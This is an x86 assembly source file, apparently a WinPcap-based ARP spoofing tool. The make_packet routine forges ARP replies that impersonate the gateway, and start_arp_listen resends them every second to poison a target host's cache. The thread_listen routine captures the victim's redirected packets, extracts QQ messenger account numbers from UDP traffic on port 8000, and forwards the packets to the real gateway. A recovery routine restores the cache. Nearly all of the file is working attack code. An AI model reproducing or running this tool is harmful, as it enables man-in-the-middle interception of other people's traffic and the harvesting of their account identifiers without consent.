
pcap_sendpacket proto c :dword, :dword, :dword
pcap_next_ex    proto c :dword, :dword, :dword
memcmp		proto c :dword, :dword, :dword

.Const

.Data?

g_h_thread_listen	DD ?

.Data

sz_msg_doing		db "now we are listenning at ip %s", 0ah, 0dh, 0
sz_find_qq		db "find qq number is :%d", 0ah, 0dh, 0

.Code

start_arp_listen Proc Uses Edi Esi Ebx, p_arp_packet:PARP_PACKET, p_chat:PIP_LIST

	;
	; first we create listen thread
	;

	Push 0
	Push 0
	Mov Eax, [p_chat]
	Push Eax
	Lea Ecx, [thread_listen]
	Push Ecx
	Push 0
	Push 0
	Call CreateThread
@loop:

	Mov Eax, SizeOf ARP_PACKET
	Push Eax
	Mov Ecx, [p_arp_packet]
	Push Ecx
	Push g_h_device
	Call pcap_sendpacket

	Push 1000
	Call Sleep

	Jmp @loop

	Ret
start_arp_listen EndP

thread_listen Proc Uses Edi Esi Ebx, lparam
	
	local bt_recv:dword
	local pk_hdr:dword
	
	;
	; print what are we doing now
	;
	
	mov ebx, [lparam]
	assume ebx:ptr IP_LIST
	lea eax, [ebx].sz_ip
	push eax
	lea ecx, [sz_msg_doing]
	push ecx
	call printf
	add esp, 8
	assume ebx:nothing
	
	;
	; next we receive packet repeatly
	; 
	
@while:
	
	lea eax, [bt_recv]
	push eax
	lea ecx, [pk_hdr]
	push ecx
	push g_h_device
	call pcap_next_ex
	add esp, 12
	
	test eax, eax
	jz @while
	
	;
	; here receive packet error, we return directly
	;
	
	cmp eax, -1
	jz @end
	
	;
	; next what should we do is analyze the packet we receive
	;
	
	mov ebx, dword ptr [bt_recv]
	;mov [p_ip_head], ebx
	assume ebx:ptr DLC_HEADER
	
	;
	;         if ( memcmp( p_dlc_hdr->src_mac, p_chat->sz_mac, 6 ) != 0 || \
    	;              memcmp( p_dlc_hdr->dst_mac, g_bt_local_mac, 6 ) != 0 )
	;
	
	push 6
	mov eax, [lparam]
	add eax, 12h
	push eax
	lea ecx, [ebx].src_mac
	push ecx
	call memcmp
	add esp, 12
	test eax, eax
	jnz @while
	
	push 6
	lea eax, [g_local_mac]
	push eax
	lea ecx, [ebx].dst_mac
	push ecx
	call memcmp
	add esp, 12
	test eax, eax
	jnz @while
	
	xor ecx, ecx
	mov cx, [ebx].eth_type
	push 0800h
	call htons
	cmp ax, cx
	jnz @send_packet
	
	;
	; get ip header
	;
	
	mov ecx, sizeof DLC_HEADER
	lea eax, [ebx+ecx]
	
	assume ebx:nothing
	
	mov ebx, eax
	
	assume ebx: ptr IP_HEADER
	
	;
	; we analyze udp packet only
	;
	
	xor eax, eax
	mov al, [ebx].proto1
	cmp al, IPPROTO_UDP
	jnz @send_packet
	
	;
	; we get the length of ip header
	;
	
	xor eax, eax
	mov al, [ebx].h_verlen
	and al, 0fh
	mov cl, 4
	mul cl
	
	;
	; now ax store the length of ip_header, and we get udp_header
	;
	
	lea ecx, [ebx+eax]
	
	assume ebx:nothing
	
	mov ebx, ecx
	
	;
	; udp header
	;
	
	assume ebx: ptr UDP_HEADER
	
	;
	; here we get the packet which send to port 8000 only
	;
	
	xor ecx, ecx
	mov cx, [ebx].uh_dport
	push 8000
	call htons
	
	cmp cx, ax
	jnz @send_packet
	
	mov ecx, sizeof UDP_HEADER
	lea eax, [ebx+ecx]
	
	push eax
	call find_qq_num
	
	assume ebx: nothing
	
	
@send_packet:
	
	;
	;memcpy( p_dlc_hdr->dst_mac, g_bt_gateway_mac, 6 );
	;
	
	mov ebx, dword ptr [bt_recv]
	assume ebx:ptr DLC_HEADER
	
	lea edi, [ebx].dst_mac
	lea esi, [g_gateway_mac]
	xor ecx, ecx
	mov cx, 6
	rep movsb
	
	assume ebx: nothing
	
	mov ebx, dword ptr [pk_hdr]
	assume ebx: ptr pcap_pkthdr
	
	;mov eax, dword ptr [bt_recv]
	xor eax, eax
	mov ax, [ebx].len
	push eax
	mov ecx, dword ptr [bt_recv]
	push ecx
	push g_h_device
	call pcap_sendpacket
	add esp, 12
	
	assume ebx: nothing
	
	jmp @while
	
@end:

	Ret
	
thread_listen EndP


find_qq_num proc uses edi esi ebx, p_udp_data:dword

	mov ebx, [p_udp_data]
	assume ebx: ptr QQ_MSG_HEAD
	
	xor eax, eax
	mov al, [ebx].flag
	cmp al, 2
	jnz @end
	
	xor eax, eax
	mov ax, word ptr [ebx].u_cmd
	push eax
	call htons
	
	cmp eax, 1
	jz @find_pk
	cmp eax, 2
	jz @find_pk
	cmp eax, 6
	jz @find_pk
	cmp eax, 16h
	jz @find_pk
	cmp eax, 1dh
	jz @find_pk
	cmp eax, 22h
	jz @find_pk
	cmp eax, 58h
	jz @find_pk
	cmp eax, 62h
	jz @find_pk
	cmp eax, 91h
	jz @find_pk
	cmp eax, 0b9h
	jz @find_pk
	cmp eax, 0cdh
	jz @find_pk
	cmp eax, 0d4h
	jz @find_pk
	jmp @end
	
@find_pk:
	
	push [ebx].u_qq_num
	call ntohl
	
	cmp eax, 0
	jle @end
	
	push eax
	lea ecx, [sz_find_qq]
	push ecx
	call printf
	add esp, 8

@end:
	assume ebx: nothing
	ret
find_qq_num endp

make_packet proc uses edi esi ebx, \
			sz_chat_ip:dword, p_bt_mac:dword, p_arp_packet:dword, b_chat:dword

;
; fill dlc header
;	
	;
	; zero memory
	;
	
	xor ecx, ecx
	xor eax, eax
	mov ecx, sizeof ARP_PACKET
	mov edi, [p_arp_packet]
	rep stos byte ptr[edi]
	
	mov ebx, [p_arp_packet]
	assume ebx: ptr ARP_PACKET
	
		
	; 
	; 1, dlc header -> source mac
	; 
	
	mov edx, [p_bt_mac]
	cmp b_chat, 1
	jnz @no_chat
	
	lea esi, [g_local_mac]
	lea edi, [ebx].dlc_header.src_mac
	xor ecx, ecx
	mov cx, 6
	rep movsb
	
	jmp @fill_next
	
@no_chat:
	
	lea esi, [g_gateway_mac]
	lea edi, [ebx].dlc_header.src_mac
	xor ecx, ecx
	mov cx, 6
	rep movsb

@fill_next:	
		
	; 
	; 2, dlc header -> destination mac
	; 
	
	mov esi, [p_bt_mac]
	lea edi, [ebx].dlc_header.dst_mac
	xor ecx, ecx
	mov ecx, 6
	rep movsb
	
	;
	; 3, dlc header -> proto
	;
	
	push 0806h
	call htons
	mov [ebx].dlc_header.eth_type, ax

;
; fill arp header
;

	;
	; 4, arp header -> destination address
	;
	
	mov edx, [sz_chat_ip]
	push edx
	call inet_addr
	mov [ebx].arp_header.dst_addr, eax
	
	;
	; 5, arp header -> source address
	;
	
	lea edx, [g_sz_gateway_ip]
	push edx
	call inet_addr
	mov [ebx].arp_header.src_addr, eax
	
	;
	; 6, arp header -> destination mac equ dlc header -> dst_mac
	;
	
	lea esi, [ebx].dlc_header.dst_mac
	lea edi, [ebx].arp_header.dst_mac
	xor ecx, ecx
	mov cx, 6
	rep movsb
	
	;
	; 7, arp header -> source mac equ dlc header -> src_mac
	;
	
	lea esi, [ebx].dlc_header.src_mac
	lea edi, [ebx].arp_header.src_mac
	xor ecx, ecx
	mov cx, 6
	rep movsb
	
	;
	; 8, arp header -> hw_addr_len ( length of mac )
	;
	
	mov [ebx].arp_header.hw_addr_len, 6
	
	;
	; 9, arp header -> hw_type
	;
	
	push 0001h
	call htons
	mov [ebx].arp_header.hw_type, ax
	
	;
	; 10, arp header -> opcode 
	;
	
	push 0002h
	call htons
	mov [ebx].arp_header.opcode , ax
	
	;
	; 11, arp header -> ip_addr_len
	;
	
	mov [ebx].arp_header.ip_addr_len, 4
	
	;
	; 12, arp header -> arp_header.port_type
	;
	
	push 0800h
	call htons
	mov [ebx].arp_header.port_type, ax
	
	assume ebx: nothing
	
	ret
make_packet endp

send_recover_packet proc uses edi esi ebx, arp_packet:dword
	
	mov bx, 0
@loop:
	cmp bx, 5
	jge @end
	
	mov eax, sizeof ARP_PACKET
	push eax
	mov edx, [arp_packet]
	push edx
	mov eax, [g_h_device]
	push eax
	call pcap_sendpacket
	add esp, 12	
	
	push 2
	call Sleep
	
	add bx, 1
	
	jmp @loop
	
@end:	
	ret
send_recover_packet endp









